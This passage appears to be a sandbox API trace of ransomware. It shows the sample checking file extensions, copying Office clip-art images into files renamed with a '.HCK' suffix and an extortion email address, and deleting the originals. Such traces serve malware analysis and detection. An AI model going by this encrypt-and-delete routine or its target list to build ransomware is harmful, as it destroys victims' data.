Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0226.662] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 1 [0226.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0226.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0226.663] lstrlenW (lpString=".doc") returned 4 [0226.663] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0226.663] lstrlenW (lpString=".docx") returned 5 [0226.663] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0226.663] lstrlenW (lpString=".pdf") returned 4 [0226.663] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0226.663] lstrlenW (lpString=".xls") returned 4 [0226.663] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0226.663] lstrlenW (lpString=".xlsx") returned 5 [0226.663] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0226.663] lstrlenW (lpString=".ppt") returned 4 [0226.663] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0226.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0226.663] lstrlenW (lpString=".zip") returned 4 [0226.663] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0226.663] lstrlenW (lpString=".rar") returned 4 [0226.663] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0226.663] lstrlenW (lpString=".bz2") returned 4 [0226.663] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0226.663] lstrlenW (lpString=".7z") returned 3 [0226.663] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0226.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0226.663] lstrlenW (lpString=".dbf") returned 4 [0226.663] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0226.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0226.663] lstrlenW (lpString=".1cd") returned 4 [0226.663] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0226.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0226.663] lstrlenW (lpString=".jpg") returned 4 [0226.663] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0226.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0226.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0226.663] lstrlenW (lpString=".doc") returned 4 [0226.663] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0226.663] lstrlenW (lpString=".docx") returned 5 [0226.663] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0226.663] lstrlenW (lpString=".pdf") returned 4 [0226.663] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0226.663] lstrlenW (lpString=".xls") returned 4 [0226.663] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0226.663] lstrlenW (lpString=".xlsx") returned 5 [0226.663] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0226.663] lstrlenW (lpString=".ppt") returned 4 [0226.663] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0226.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0226.663] lstrlenW (lpString=".zip") returned 4 [0226.663] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0226.663] lstrlenW (lpString=".rar") returned 4 [0226.663] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0226.663] lstrlenW (lpString=".bz2") returned 4 [0226.664] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0226.664] lstrlenW (lpString=".7z") returned 3 [0226.664] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0226.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0226.664] lstrlenW (lpString=".dbf") returned 4 [0226.664] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0226.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0226.664] lstrlenW (lpString=".1cd") returned 4 [0226.664] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0226.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0226.664] lstrlenW (lpString=".jpg") returned 4 [0226.664] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0226.664] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0226.664] lstrlenW (lpString="J0099155.JPG") returned 12 [0226.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0226.665] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=8826) returned 1 [0226.665] CloseHandle (hObject=0x49c) returned 1 [0226.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 0x220 [0226.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0226.666] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.666] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0226.666] GetLastError () returned 0x0 [0226.666] ReadFile (in: hFile=0x49c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x227a, lpOverlapped=0x0) returned 1 [0226.668] WriteFile (in: hFile=0x438, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x2280, lpOverlapped=0x0) returned 1 [0226.668] ReadFile (in: hFile=0x49c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.668] WriteFile (in: hFile=0x438, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0226.669] SetEndOfFile (hFile=0x438) returned 1 [0226.669] CloseHandle (hObject=0x438) returned 1 [0226.669] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.669] SetEndOfFile (hFile=0x49c) returned 1 [0226.671] CloseHandle (hObject=0x49c) returned 1 [0226.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0226.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 1 [0226.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0226.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0226.672] lstrlenW (lpString=".doc") returned 4 [0226.672] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0226.672] lstrlenW (lpString=".docx") returned 5 [0226.672] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0226.672] lstrlenW (lpString=".pdf") returned 4 [0226.672] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0226.672] lstrlenW (lpString=".xls") returned 4 [0226.672] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0226.672] lstrlenW (lpString=".xlsx") returned 5 [0226.672] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0226.672] lstrlenW (lpString=".ppt") returned 4 [0226.672] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0226.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0226.672] lstrlenW (lpString=".zip") returned 4 [0226.672] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0226.673] lstrlenW (lpString=".rar") returned 4 [0226.673] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0226.673] lstrlenW (lpString=".bz2") returned 4 [0226.673] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0226.673] lstrlenW (lpString=".7z") returned 3 [0226.673] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0226.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0226.673] lstrlenW (lpString=".dbf") returned 4 [0226.673] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0226.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0226.673] lstrlenW (lpString=".1cd") returned 4 [0226.673] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0226.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0226.673] lstrlenW (lpString=".jpg") returned 4 [0226.673] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0226.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0226.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0226.673] lstrlenW (lpString=".doc") returned 4 [0226.673] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0226.673] lstrlenW (lpString=".docx") returned 5 [0226.673] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0226.673] lstrlenW (lpString=".pdf") returned 4 [0226.673] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0226.673] lstrlenW (lpString=".xls") returned 4 [0226.673] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0226.673] lstrlenW (lpString=".xlsx") returned 5 [0226.673] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0226.673] lstrlenW (lpString=".ppt") returned 4 [0226.673] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0226.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0226.673] lstrlenW (lpString=".zip") returned 4 [0226.673] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0226.673] lstrlenW (lpString=".rar") returned 4 [0226.673] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0226.673] lstrlenW (lpString=".bz2") returned 4 [0226.673] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0226.673] lstrlenW (lpString=".7z") returned 3 [0226.673] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0226.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0226.673] lstrlenW (lpString=".dbf") returned 4 [0226.673] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0226.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0226.673] lstrlenW (lpString=".1cd") returned 4 [0226.673] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0226.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0226.673] lstrlenW (lpString=".jpg") returned 4 [0226.673] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0226.673] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0226.673] lstrlenW (lpString="J0099156.JPG") returned 12 [0226.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0226.674] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=13954) returned 1 [0226.674] CloseHandle (hObject=0x49c) returned 1 [0226.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 0x220 [0226.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0226.675] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.675] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0226.675] GetLastError () returned 0x0 [0226.675] ReadFile (in: hFile=0x49c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x3682, lpOverlapped=0x0) returned 1 [0226.677] WriteFile (in: hFile=0x438, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x3690, lpOverlapped=0x0) returned 1 [0226.678] ReadFile (in: hFile=0x49c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.678] WriteFile (in: hFile=0x438, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0226.678] SetEndOfFile (hFile=0x438) returned 1 [0226.678] CloseHandle (hObject=0x438) returned 1 [0226.678] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.678] SetEndOfFile (hFile=0x49c) returned 1 [0227.431] CloseHandle (hObject=0x49c) returned 1 [0227.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0227.432] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 1 [0227.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0227.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0227.432] lstrlenW (lpString=".doc") returned 4 [0227.432] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0227.432] lstrlenW (lpString=".docx") returned 5 [0227.432] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0227.432] lstrlenW (lpString=".pdf") returned 4 [0227.432] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0227.433] lstrlenW (lpString=".xls") returned 4 [0227.433] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0227.433] lstrlenW (lpString=".xlsx") returned 5 [0227.433] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0227.433] lstrlenW (lpString=".ppt") returned 4 [0227.433] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0227.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0227.433] lstrlenW (lpString=".zip") returned 4 [0227.433] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0227.433] lstrlenW (lpString=".rar") returned 4 [0227.433] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0227.433] lstrlenW (lpString=".bz2") returned 4 [0227.433] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0227.433] lstrlenW (lpString=".7z") returned 3 [0227.433] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0227.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0227.433] lstrlenW (lpString=".dbf") returned 4 [0227.433] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0227.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0227.433] lstrlenW (lpString=".1cd") returned 4 [0227.433] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0227.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0227.433] lstrlenW (lpString=".jpg") returned 4 [0227.433] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0227.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0227.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0227.433] lstrlenW (lpString=".doc") returned 4 [0227.433] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0227.433] lstrlenW (lpString=".docx") returned 5 [0227.433] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0227.433] lstrlenW (lpString=".pdf") returned 4 [0227.433] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0227.433] lstrlenW (lpString=".xls") returned 4 [0227.433] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0227.433] lstrlenW (lpString=".xlsx") returned 5 [0227.433] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0227.433] lstrlenW (lpString=".ppt") returned 4 [0227.433] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0227.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0227.433] lstrlenW (lpString=".zip") returned 4 [0227.433] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0227.433] lstrlenW (lpString=".rar") returned 4 [0227.433] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0227.433] lstrlenW (lpString=".bz2") returned 4 [0227.433] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0227.433] lstrlenW (lpString=".7z") returned 3 [0227.433] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0227.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0227.433] lstrlenW (lpString=".dbf") returned 4 [0227.433] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0227.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0227.433] lstrlenW (lpString=".1cd") returned 4 [0227.433] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0227.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0227.434] lstrlenW (lpString=".jpg") returned 4 [0227.434] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0227.434] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0227.434] lstrlenW (lpString="J0099160.JPG") returned 12 [0227.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0227.434] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=15145) returned 1 [0227.434] CloseHandle (hObject=0x49c) returned 1 [0227.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 0x220 [0227.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0227.435] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.435] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0227.435] GetLastError () returned 0x0 [0227.435] ReadFile (in: hFile=0x49c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x3b29, lpOverlapped=0x0) returned 1 [0227.437] WriteFile (in: hFile=0x4bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x3b30, lpOverlapped=0x0) returned 1 [0227.438] ReadFile (in: hFile=0x49c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.438] WriteFile (in: hFile=0x4bc, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0227.438] SetEndOfFile (hFile=0x4bc) returned 1 [0227.438] CloseHandle (hObject=0x4bc) returned 1 [0227.438] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.438] SetEndOfFile (hFile=0x49c) returned 1 [0227.447] CloseHandle (hObject=0x49c) returned 1 [0227.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0227.447] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 1 [0227.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0227.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0227.448] 